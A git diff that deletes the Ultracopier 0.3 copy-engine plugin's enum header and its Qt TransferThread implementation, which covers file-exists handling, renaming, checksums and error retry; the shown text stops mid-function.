diff --git a/plugins/CopyEngine/Ultracopier-0.3/StructEnumDefinition_CopyEngine.h b/plugins/CopyEngine/Ultracopier-0.3/StructEnumDefinition_CopyEngine.h
deleted file mode 100644
index 90af91b..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/StructEnumDefinition_CopyEngine.h
+++ /dev/null
@@ -1,90 +0,0 @@
-/** \file StructEnumDefinition_CopyEngine.h
-\brief Define the structure and enumeration used in the copy engine
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QString>
-#include <QRegExp>
-
-#ifndef STRUCTDEF_COPYENGINE_H
-#define STRUCTDEF_COPYENGINE_H
-
-/// \brief Define action if file exists
-enum FileExistsAction
-{
- FileExists_NotSet,
- FileExists_Cancel,
- FileExists_Skip,
- FileExists_Overwrite,
- FileExists_OverwriteIfNewer,
- FileExists_OverwriteIfNotSameModificationDate,
- FileExists_Rename
-};
-
-/// \brief Define action if file error
-enum FileErrorAction
-{
- FileError_NotSet,
- FileError_Cancel,
- FileError_Skip,
- FileError_Retry,
- FileError_PutToEndOfTheList
-};
-
-/// \brief to have the transfer status
-enum TransferStat
-{
- TransferStat_Idle=0,
- TransferStat_PreOperation=1,
- TransferStat_WaitForTheTransfer=2,
- TransferStat_Transfer=3,
- TransferStat_Checksum=4,
- TransferStat_PostTransfer=5,
- TransferStat_PostOperation=6
-};
-
-/// \brief Define overwrite mode
-/*enum OverwriteMode
-{
- OverwriteMode_None,
- OverwriteMode_Overwrite,
- OverwriteMode_OverwriteIfNewer,
- OverwriteMode_OverwriteIfNotSameModificationDate
-};*/
-
-/// \brief Define action if file exists
-enum FolderExistsAction
-{
- FolderExists_NotSet,
- FolderExists_Cancel,
- FolderExists_Merge,
- FolderExists_Skip,
- FolderExists_Rename
-};
-
-enum SearchType
-{
- SearchType_rawText,
- SearchType_simpleRegex,
- SearchType_perlRegex,
-};
-
-enum ApplyOn
-{
- ApplyOn_file,
- ApplyOn_fileAndFolder,
- ApplyOn_folder,
-};
-
-/** to store into different way the filter rules to be exported */
-struct Filters_rules
-{
- QString search_text;
- SearchType search_type;
- ApplyOn apply_on;
- bool need_match_all;
- QRegExp regex;
-};
-
-#endif // STRUCTDEF_COPYENGINE_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/TransferThread.cpp b/plugins/CopyEngine/Ultracopier-0.3/TransferThread.cpp
deleted file mode 100644
index 7550d8c..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/TransferThread.cpp
+++ /dev/null
@@ -1,1245 +0,0 @@
-//presume bug linked as multple paralelle inode to resume after "overwrite"
-//then do overwrite node function to not re-set the file name
-
-#include "TransferThread.h"
-
-#ifdef Q_CC_GNU
-//this next header is needed to change file time/date under gcc
-#include <utime.h>
-#include <time.h>
-#include <unistd.h>
-#include <sys/stat.h>
-#endif
-
-#ifndef Q_OS_UNIX
-#include <windows.h>
-#endif
-
-TransferThread::TransferThread()
-{
- start();
- moveToThread(this);
- needSkip = false;
- transfer_stat = TransferStat_Idle;
- stopIt = false;
- fileExistsAction = FileExists_NotSet;
- alwaysDoFileExistsAction= FileExists_NotSet;
- readError = false;
- writeError = false;
- this->mkpathTransfer = mkpathTransfer;
- readThread.setWriteThread(&writeThread);
-
- connect(&clockForTheCopySpeed, SIGNAL(timeout()), this, SLOT(timeOfTheBlockCopyFinished()));
- maxTime=QDateTime(QDate(ULTRACOPIER_PLUGIN_MINIMALYEAR,1,1));
-}
-
-TransferThread::~TransferThread()
-{
- exit();
- disconnect(&readThread);
- disconnect(&writeThread);
- disconnect(this);
- wait();
-}
-
-void TransferThread::run()
-{
- //ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start: "+QString::number((qint64)QThread::currentThreadId()));
- transfer_stat = TransferStat_Idle;
- stopIt = false;
- fileExistsAction = FileExists_NotSet;
- alwaysDoFileExistsAction= FileExists_NotSet;
- //the error push
- connect(&readThread,SIGNAL(error()), this, SLOT(getReadError()), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(error()), this, SLOT(getWriteError()), Qt::QueuedConnection);
- //the thread change operation
- connect(this,SIGNAL(internalStartPreOperation()), this, SLOT(preOperation()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartPostOperation()), this, SLOT(postOperation()), Qt::QueuedConnection);
- //the state change operation
- //connect(&readThread,SIGNAL(readIsStopped()), &readThread, SLOT(postOperation()), Qt::QueuedConnection);//commented to do the checksum
- connect(&readThread,SIGNAL(opened()), this, SLOT(readIsReady()), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(opened()), this, SLOT(writeIsReady()), Qt::QueuedConnection);
- connect(&readThread,SIGNAL(readIsStopped()), this, SLOT(readIsStopped()), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(writeIsStopped()), this, SLOT(writeIsStopped()), Qt::QueuedConnection);
- connect(&readThread,SIGNAL(readIsStopped()), &writeThread, SLOT(endIsDetected()), Qt::QueuedConnection);
- //connect(&writeThread,SIGNAL(writeIsStopped()), &writeThread, SLOT(postOperation()), Qt::QueuedConnection);//commented to do the checksum
- connect(&readThread,SIGNAL(closed()), this, SLOT(readIsClosed()), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(closed()), this, SLOT(writeIsClosed()), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(reopened()), this, SLOT(writeThreadIsReopened()), Qt::QueuedConnection);
- connect(&readThread,SIGNAL(checksumFinish(QByteArray)), this, SLOT(readChecksumFinish(QByteArray)), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(checksumFinish(QByteArray)),this, SLOT(writeChecksumFinish(QByteArray)), Qt::QueuedConnection);
- //error management
- connect(&readThread,SIGNAL(isSeekToZeroAndWait()), this, SLOT(readThreadIsSeekToZeroAndWait()), Qt::QueuedConnection);
- connect(&readThread,SIGNAL(resumeAfterErrorByRestartAtTheLastPosition()), this, SLOT(readThreadResumeAfterError()), Qt::QueuedConnection);
- connect(&readThread,SIGNAL(resumeAfterErrorByRestartAll()), &writeThread, SLOT(flushAndSeekToZero()), Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(flushedAndSeekedToZero()), this, SLOT(readThreadResumeAfterError()), Qt::QueuedConnection);
- connect(this,SIGNAL(internalTryStartTheTransfer()), this, SLOT(internalStartTheTransfer()), Qt::QueuedConnection);
-
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- connect(&readThread,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),Qt::QueuedConnection);
- connect(&writeThread,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),Qt::QueuedConnection);
- #endif
-
- exec();
-}
-
-TransferStat TransferThread::getStat()
-{
- return transfer_stat;
-}
-
-void TransferThread::startTheTransfer()
-{
- emit internalTryStartTheTransfer();
-}
-
-void TransferThread::internalStartTheTransfer()
-{
- if(transfer_stat==TransferStat_Idle)
- {
- if(mode!=Move)
- {
- /// \bug can pass here because in case of direct move on same media, it return to idle stat directly
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] can't start transfert at idle");
- }
- return;
- }
- if(transfer_stat==TransferStat_PostOperation)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] can't start transfert at PostOperation");
- return;
- }
- if(transfer_stat==TransferStat_Transfer)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] can't start transfert at Transfer");
- return;
- }
- if(canStartTransfer)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] canStartTransfer is already set to true");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] check how start the transfer");
- canStartTransfer=true;
- if(readIsReadyVariable && writeIsReadyVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start directly the transfer");
- ifCanStartTransfer();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start the transfer as delayed");
-}
-
-void TransferThread::setFiles(const QString &source,const qint64 &size,const QString &destination,const CopyMode &mode)
-{
- if(transfer_stat!=TransferStat_Idle)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] already used, source: "+source+", destination: "+destination);
- return;
- }
- //to prevent multiple file alocation into ListThread::doNewActions_inode_manipulation()
- transfer_stat = TransferStat_PreOperation;
- //emit pushStat(stat,transferId);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start, source: "+source+", destination: "+destination);
- this->source = source;
- this->destination = destination;
- this->mode = mode;
- this->size = size;
- fileExistsAction = FileExists_NotSet;
- canStartTransfer = false;
- sended_state_preOperationStopped= false;
- canBeMovedDirectlyVariable = false;
- fileContentError = false;
- resetExtraVariable();
- emit internalStartPreOperation();
-}
-
-void TransferThread::setFileExistsAction(const FileExistsAction &action)
-{
- if(transfer_stat!=TransferStat_PreOperation)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] already used, source: "+source+", destination: "+destination);
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] action: "+QString::number(action));
- if(action!=FileExists_Rename)
- fileExistsAction = action;
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] rename at the wrong part, source: "+source+", destination: "+destination);
- if(action==FileExists_Skip)
- {
- skip();
- return;
- }
- resetExtraVariable();
- emit internalStartPreOperation();
-}
-
-void TransferThread::setFileRename(const QString &nameForRename)
-{
- if(transfer_stat!=TransferStat_PreOperation)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] already used, source: "+source+", destination: "+destination);
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] nameForRename: "+nameForRename);
- destinationInfo.setFile(destination);
- destination=destinationInfo.absolutePath();
- destination+=QDir::separator()+nameForRename;
- destinationInfo.setFile(destination);
- fileExistsAction = FileExists_NotSet;
- resetExtraVariable();
- emit internalStartPreOperation();
-}
-
-void TransferThread::setAlwaysFileExistsAction(const FileExistsAction &action)
-{
- //ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] action to do always: "+QString::number(action));
- alwaysDoFileExistsAction=action;
-}
-
-void TransferThread::resetExtraVariable()
-{
- sended_state_readStopped = false;
- sended_state_writeStopped = false;
- writeError = false;
- readError = false;
- readIsReadyVariable = false;
- writeIsReadyVariable = false;
- readIsFinishVariable = false;
- writeIsFinishVariable = false;
- readIsClosedVariable = false;
- writeIsClosedVariable = false;
- needSkip = false;
- retry = false;
- readIsOpenVariable = false;
- writeIsOpenVariable = false;
-}
-
-void TransferThread::preOperation()
-{
- if(transfer_stat!=TransferStat_PreOperation)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] already used, source: "+source+", destination: "+destination);
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- needRemove=false;
- sourceInfo.setFile(source);
- destinationInfo.setFile(destination);
- if(isSame())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] is same"+source);
- return;
- }
- if(destinationExists())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] destination exists: "+source);
- return;
- }
- if(canBeMovedDirectly())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] need moved directly: "+source);
- canBeMovedDirectlyVariable=true;
- readThread.fakeOpen();
- writeThread.fakeOpen();
- return;
- }
- tryOpen();
-}
-
-void TransferThread::tryOpen()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start source and destination: "+source+" and "+destination);
- if(!readIsOpenVariable)
- {
- readError=false;
- readThread.open(source,mode);
- }
- if(!writeIsOpenVariable)
- {
- writeError=false;
- writeThread.open(destination,size,osBuffer && (!osBufferLimited || (osBufferLimited && size<osBufferLimit)));
- }
-}
-
-bool TransferThread::isSame()
-{
- //check if source and destination is not the same
- if(sourceInfo==destinationInfo)
- {
- emit fileAlreadyExists(sourceInfo,destinationInfo,true);
- return true;
- }
- return false;
-}
-
-bool TransferThread::destinationExists()
-{
- //check if destination exists
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] overwrite: "+QString::number(fileExistsAction)+", always action: "+QString::number(alwaysDoFileExistsAction));
- if(alwaysDoFileExistsAction==FileExists_Overwrite || readError || writeError)
- return false;
- if(destinationInfo.exists())
- {
- if(fileExistsAction==FileExists_NotSet && alwaysDoFileExistsAction==FileExists_Skip)
- {
- transfer_stat=TransferStat_Idle;
- emit postOperationStopped();
- return true;
- }
- if(alwaysDoFileExistsAction==FileExists_Rename)
- {
- QString absolutePath=destinationInfo.absolutePath();
- QString fileName=destinationInfo.fileName();
- QString suffix="";
- QString newFileName;
- //resolv the suffix
- if(fileName.contains(QRegExp("^(.*)(\\.[a-z0-9]+)$")))
- {
- suffix=fileName;
- suffix.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\2");
- fileName.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\1");
- }
- //resolv the new name
- int num=1;
- do
- {
- if(num==1)
- {
- if(firstRenamingRule=="")
- newFileName=tr("%1 - copy").arg(fileName);
- else
- {
- newFileName=firstRenamingRule;
- newFileName.replace("%name%",fileName);
- }
- }
- else
- {
- if(otherRenamingRule=="")
- newFileName=tr("%1 - copy (%2)").arg(fileName).arg(num);
- else
- {
- newFileName=otherRenamingRule;
- newFileName.replace("%name%",fileName);
- newFileName.replace("%number%",QString::number(num));
- }
- }
- destination=absolutePath+QDir::separator()+newFileName+suffix;
- destinationInfo.setFile(destination);
- num++;
- }
- while(destinationInfo.exists());
- return false;
- }
- if(fileExistsAction==FileExists_OverwriteIfNewer || (fileExistsAction==FileExists_NotSet && alwaysDoFileExistsAction==FileExists_OverwriteIfNewer))
- {
- if(destinationInfo.lastModified()<sourceInfo.lastModified())
- return false;
- else
- {
- transfer_stat=TransferStat_Idle;
- emit postOperationStopped();
- return true;
- }
- }
- if(fileExistsAction==FileExists_OverwriteIfNotSameModificationDate || (fileExistsAction==FileExists_NotSet && alwaysDoFileExistsAction==FileExists_OverwriteIfNotSameModificationDate))
- {
- if(destinationInfo.lastModified()!=sourceInfo.lastModified())
- return false;
- else
- {
- transfer_stat=TransferStat_Idle;
- emit postOperationStopped();
- return true;
- }
- }
- if(fileExistsAction==FileExists_NotSet)
- {
- emit fileAlreadyExists(sourceInfo,destinationInfo,false);
- return true;
- }
- }
- return false;
-}
-
-void TransferThread::tryMoveDirectly()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start the system move");
-
- //move if on same mount point
- QFile sourceFile(sourceInfo.absoluteFilePath());
- QFile destinationFile(destinationInfo.absoluteFilePath());
- if(destinationFile.exists() && !destinationFile.remove())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+destinationFile.fileName()+", error: "+destinationFile.errorString());
- emit errorOnFile(destinationInfo,destinationFile.errorString());
- return;
- }
- QDir dir(destinationInfo.absolutePath());
- {
- mkpathTransfer->acquire();
- if(!dir.exists())
- dir.mkpath(destinationInfo.absolutePath());
- mkpathTransfer->release();
- }
- if(!sourceFile.rename(destinationFile.fileName()))
- {
- if(sourceFile.exists())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("file not not exists %1: %2, error: %3").arg(sourceFile.fileName()).arg(destinationFile.fileName()).arg(sourceFile.errorString()));
- else if(!dir.exists())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("destination folder not exists %1: %2, error: %3").arg(sourceFile.fileName()).arg(destinationFile.fileName()).arg(sourceFile.errorString()));
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("unable to do real move %1: %2, error: %3").arg(sourceFile.fileName()).arg(destinationFile.fileName()).arg(sourceFile.errorString()));
- emit errorOnFile(sourceFile,sourceFile.errorString());
- return;
- }
- readThread.fakeReadIsStarted();
- writeThread.fakeWriteIsStarted();
- readThread.fakeReadIsStopped();
- writeThread.fakeWriteIsStopped();
-}
-
-bool TransferThread::canBeMovedDirectly()
-{
- //move if on same mount point
- #if defined (Q_OS_LINUX) || defined (Q_OS_WIN32)
- if(mode!=Move)
- return false;
- if(mountSysPoint.size()==0)
- return false;
- if(getDrive(destinationInfo.fileName())==getDrive(sourceInfo.fileName()))
- return true;
- #endif
- return false;
-}
-
-void TransferThread::readIsReady()
-{
- if(readIsReadyVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] double event dropped");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- readIsReadyVariable=true;
- readIsOpenVariable=true;
- readIsClosedVariable=false;
- ifCanStartTransfer();
-}
-
-void TransferThread::ifCanStartTransfer()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] readIsReadyVariable: "+QString::number(readIsReadyVariable)+", writeIsReadyVariable: "+QString::number(writeIsReadyVariable));
- if(readIsReadyVariable && writeIsReadyVariable)
- {
- transfer_stat=TransferStat_WaitForTheTransfer;
- sended_state_readStopped = false;
- sended_state_writeStopped = false;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stat=WaitForTheTransfer");
- if(!sended_state_preOperationStopped)
- {
- sended_state_preOperationStopped=true;
- emit preOperationStopped();
- }
- if(canStartTransfer)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stat=Transfer");
- transfer_stat=TransferStat_Transfer;
- if(!canBeMovedDirectlyVariable)
- {
- needRemove=true;
- readThread.startRead();
- }
- else
- tryMoveDirectly();
- emit pushStat(transfer_stat,transferId);
- }
- //else
- //emit pushStat(stat,transferId);
- }
-}
-
-void TransferThread::writeIsReady()
-{
- if(writeIsReadyVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] double event dropped");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- writeIsReadyVariable=true;
- writeIsOpenVariable=true;
- writeIsClosedVariable=false;
- ifCanStartTransfer();
-}
-
-
-//set the copy info and options before runing
-void TransferThread::setRightTransfer(const bool doRightTransfer)
-{
- this->doRightTransfer=doRightTransfer;
-}
-
-//set keep date
-void TransferThread::setKeepDate(const bool keepDate)
-{
- this->keepDate=keepDate;
-}
-
-//set the current max speed in KB/s
-void TransferThread::setMaxSpeed(int maxSpeed)
-{
- int interval=readThread.setMaxSpeed(maxSpeed);
- writeThread.setMaxSpeed(maxSpeed);
- if(maxSpeed>0)
- {
- clockForTheCopySpeed.setInterval(interval);
- if(!clockForTheCopySpeed.isActive())//seam useless !this->isFinished()
- clockForTheCopySpeed.start();
- }
- else
- {
- if(clockForTheCopySpeed.isActive())
- clockForTheCopySpeed.stop();
- }
-}
-
-//set block size in KB
-bool TransferThread::setBlockSize(const unsigned int blockSize)
-{
- this->blockSize=blockSize;
- return readThread.setBlockSize(blockSize) && writeThread.setBlockSize(blockSize);
-}
-
-//pause the copy
-void TransferThread::pause()
-{
- if(transfer_stat==TransferStat_Idle)
- return;
- readThread.pause();
-}
-
-//resume the copy
-void TransferThread::resume()
-{
- if(transfer_stat==TransferStat_Idle)
- return;
- readThread.resume();
-}
-
-//stop the current copy
-void TransferThread::stop()
-{
- stopIt=true;
- if(transfer_stat==TransferStat_Idle)
- return;
- readThread.stop();
- writeThread.stop();
-}
-
-void TransferThread::readIsFinish()
-{
- if(readIsFinishVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] double event dropped");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- readIsFinishVariable=true;
- canStartTransfer=false;
- //check here if need start checksuming or not
- real_doChecksum=doChecksum && (!checksumOnlyOnError || fileContentError);
- if(real_doChecksum)
- {
- readIsFinishVariable=false;
- transfer_stat=TransferStat_Checksum;
- sourceChecksum=QByteArray();
- destinationChecksum=QByteArray();
- readThread.startCheckSum();
- }
- else
- {
- transfer_stat=TransferStat_PostTransfer;
- readThread.postOperation();
- }
- emit pushStat(transfer_stat,transferId);
-}
-
-void TransferThread::writeIsFinish()
-{
- if(writeIsFinishVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] double event dropped");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- writeIsFinishVariable=true;
- //check here if need start checksuming or not
- if(real_doChecksum)
- {
- writeIsFinishVariable=false;
- transfer_stat=TransferStat_Checksum;
- writeThread.startCheckSum();
- }
- else
- writeThread.postOperation();
-}
-
-void TransferThread::readChecksumFinish(const QByteArray& checksum)
-{
- sourceChecksum=checksum;
- compareChecksum();
-}
-
-void TransferThread::writeChecksumFinish(const QByteArray& checksum)
-{
- destinationChecksum=checksum;
- compareChecksum();
-}
-
-void TransferThread::compareChecksum()
-{
- if(sourceChecksum.size()==0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] the checksum of source is missing");
- return;
- }
- if(destinationChecksum.size()==0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] the checksum of destination is missing");
- return;
- }
- if(sourceChecksum==destinationChecksum)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] the checksum match");
- readThread.postOperation();
- writeThread.postOperation();
- transfer_stat=TransferStat_PostTransfer;
- emit pushStat(transfer_stat,transferId);
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] the checksum not match");
- //emit error here, and wait to resume
- emit errorOnFile(destinationInfo,tr("The checksums not match"));
- }
-}
-
-void TransferThread::readIsClosed()
-{
- if(readIsClosedVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] double event dropped");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- readIsClosedVariable=true;
- checkIfAllIsClosed();
-}
-
-void TransferThread::writeIsClosed()
-{
- if(writeIsClosedVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] double event dropped");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- writeIsClosedVariable=true;
- checkIfAllIsClosed();
-}
-
-bool TransferThread::checkIfAllIsClosed()
-{
- if((readError || writeError) && !needSkip)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] resolve error before progress");
- return false;
- }
- if((!readIsReadyVariable || readIsClosedVariable) && (!writeIsReadyVariable || writeIsClosedVariable))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] emit internalStartPostOperation() to do the real post operation");
- transfer_stat=TransferStat_PostOperation;
- //emit pushStat(stat,transferId);
- emit internalStartPostOperation();
- return true;
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] "+QString("wait self close: readIsReadyVariable: %1, readIsClosedVariable: %2, writeIsReadyVariable: %3, writeIsClosedVariable: %4")
- .arg(readIsReadyVariable)
- .arg(readIsClosedVariable)
- .arg(writeIsReadyVariable)
- .arg(writeIsClosedVariable)
- );
- return false;
- }
-}
-
-/// \todo found way to retry that's
-/// \todo the rights copy
-void TransferThread::postOperation()
-{
- if(transfer_stat!=TransferStat_PostOperation)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] need be in transfer, source: "+source+", destination: "+destination+", stat:"+QString::number(transfer_stat));
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- //all except closing
- if((readError || writeError) && !needSkip)//normally useless by checkIfAllIsFinish()
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] resume after error");
- return;
- }
-
- if(!needSkip)
- {
- if(!doFilePostOperation())
- return;
-
- //remove source in moving mode
- if(mode==Move && !canBeMovedDirectlyVariable)
- {
- if(QFile::exists(destination))
- {
- QFile sourceFile(source);
- if(!sourceFile.remove())
- {
- emit errorOnFile(sourceInfo,sourceFile.errorString());
- return;
- }
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] try remove source but destination not exists!");
- }
- }
- else//do difference skip a file and skip this error case
- {
- if(needRemove && QFile::exists(destination))
- {
- QFile destinationFile(destination);
- if(!destinationFile.remove())
- {
- //emit errorOnFile(sourceInfo,destinationFile.errorString());
- //return;
- }
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] try remove destination but not exists!");
- }
- transfer_stat=TransferStat_Idle;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] emit postOperationStopped()");
- emit postOperationStopped();
-}
-
-bool TransferThread::doFilePostOperation()
-{
- //do operation needed by copy
- if(!canBeMovedDirectlyVariable)
- {
- //set the time if no write thread used
- if(keepDate)
- changeFileDateTime(destination,source);//can't do that's after move because after move the source not exist
- /*
- ignore it, because need correct management, mainly with move
- if(!)
- {
- emit errorOnFile(destinationInfo,tr("Unable to change the date"));//destination.errorString()
- return false;
- }*/
- }
-
- if(stopIt)
- return false;
-
- return true;
-}
-
-//////////////////////////////////////////////////////////////////
-/////////////////////// Error management /////////////////////////
-//////////////////////////////////////////////////////////////////
-
-void TransferThread::getWriteError()
-{
- if(writeError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] already in write error!");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- fileContentError = true;
- writeError = true;
- writeIsReadyVariable = false;
- writeError_source_seeked = false;
- writeError_destination_reopened = false;
- emit errorOnFile(destinationInfo,writeThread.errorString());
-}
-
-void TransferThread::getReadError()
-{
- if(readError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] already in read error!");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- fileContentError = true;
- readError = true;
- writeIsReadyVariable = false;
- readIsReadyVariable = false;
- emit errorOnFile(sourceInfo,readThread.errorString());
-}
-
-//retry after error
-void TransferThread::retryAfterError()
-{
- //opening error
- if(transfer_stat==TransferStat_PreOperation)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] is not idle, source: "+source+", destination: "+destination+", stat: "+QString::number(transfer_stat));
- tryOpen();
- return;
- }
- //data streaming error
- if(transfer_stat!=TransferStat_PostOperation && transfer_stat!=TransferStat_Transfer && transfer_stat!=TransferStat_Checksum)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] is not idle, source: "+source+", destination: "+destination+", stat: "+QString::number(transfer_stat));
- return;
- }
- if(canBeMovedDirectlyVariable)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] retry the system move");
- tryMoveDirectly();
- return;
- }
- if(transfer_stat==TransferStat_Checksum)
- {
- if(writeError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start and resume the write error");
- writeThread.reopen();
- }
- else if(readError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start and resume the read error");
- readThread.reopen();
- }
- else //only checksum difference
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] retry all the transfer");
- canStartTransfer=true;
- ifCanStartTransfer();
- }
- return;
- }
- if(writeError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start and resume the write error");
- readThread.seekToZeroAndWait();
- writeThread.reopen();
- }
- else if(readError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start and resume the read error");
- readThread.reopen();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] unknow error resume");
-}
-
-void TransferThread::writeThreadIsReopened()
-{
- if(writeError_destination_reopened)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] double event dropped");
- return;
- }
- writeError_destination_reopened=true;
- if(transfer_stat==TransferStat_Checksum)
- {
- writeThread.startCheckSum();
- return;
- }
